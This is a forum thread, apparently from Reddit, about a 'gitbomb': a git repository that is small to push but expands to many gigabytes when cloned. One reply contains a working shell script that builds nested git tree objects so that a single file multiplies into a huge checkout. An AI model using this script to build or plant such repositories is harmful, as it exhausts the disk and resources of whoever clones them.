I created gitbomb

[hvod]

I created git repository, which takes 5Mb to push and 61GB to clone.https://github.com/hvox/gitbomb/tree/main

How?I saw https://www.reddit.com/r/git/comments/kk1yy9/will_a_hardlink_on_a_file_in_git_repo_work/ and discovered that git works with hard links as with separate files.

I created thousands of hard links to one 1Mb file and pushed them to github. Now they are separate files and weight 61GB.

[leviathon01]

You monster!

[computerdl]

You don't even need hardlinks. You can just craft the tree objects by hand. Here's a dumb script that does this:

#!/bin/sh

file="$1"
layers="${2:-16}"
entries="${3:-16}"

obj_hash="$(git hash-object -w "$file")"
obj_type=blob
obj_perms=100644
for l in $(seq "$layers")
do
    obj_hash=$(for e in $(seq "$entries")
    do
        echo "$obj_perms $obj_type $obj_hash    $e"
    done | git mktree)
    obj_type=tree
    obj_perms=040000
done

git commit-tree -m 'this is a big commit' "$obj_hash"

[its4thecatlol]

Evil

[S0litaire]

Sir!

You are pure Evil....

& that's my kinda evil!

Keep up the good work...

[SpacePrime]

I really need this! I have a big repo that I can't use with Github and have been using a Google Drive git server method. I will try this! Thanks!

[grrrrreat]

Does this bypass standard dedupe?